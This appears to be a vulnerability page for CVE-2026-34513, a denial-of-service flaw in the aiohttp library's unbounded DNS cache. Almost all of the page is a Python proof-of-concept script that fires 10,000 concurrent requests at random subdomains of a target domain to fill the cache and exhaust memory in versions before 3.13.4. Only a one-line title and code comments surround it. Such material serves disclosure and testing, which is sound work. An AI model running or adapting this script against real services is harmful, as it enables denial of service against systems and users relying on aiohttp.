CVE-2026-34513 AIOHTTP无界DNS缓存致拒绝服务漏洞

import asyncio import aiohttp import random import string def generate_random_subdomain(length=8): """Generate a random subdomain to simulate unique DNS lookups""" return ''.join(random.choices(string.ascii_lowercase, k=length)) async def trigger_unbounded_cache(base_url): """ This PoC simulates an attack by sending requests to unique subdomains. In a vulnerable version of aiohttp (<3.13.4), this will fill the DNS cache. """ async with aiohttp.ClientSession() as session: tasks = [] for i in range(10000): # Construct a URL with a unique subdomain subdomain = generate_random_subdomain() target_url = f"http://{subdomain}.{base_url}" # Fire off requests. Note: These will likely fail DNS resolution, # but the cache entry is created during the lookup attempt. tasks.append(session.get(target_url)) # Execute requests responses = await asyncio.gather(*tasks, return_exceptions=True) print(f"Sent {len(responses)} requests. Check memory usage.") if __name__ == "__main__": # Replace with a target domain or use a dummy one if testing local resolver behavior target_domain = "example.com" print(f"Starting PoC for CVE-2026-34513 against {target_domain}...") asyncio.run(trigger_unbounded_cache(target_domain))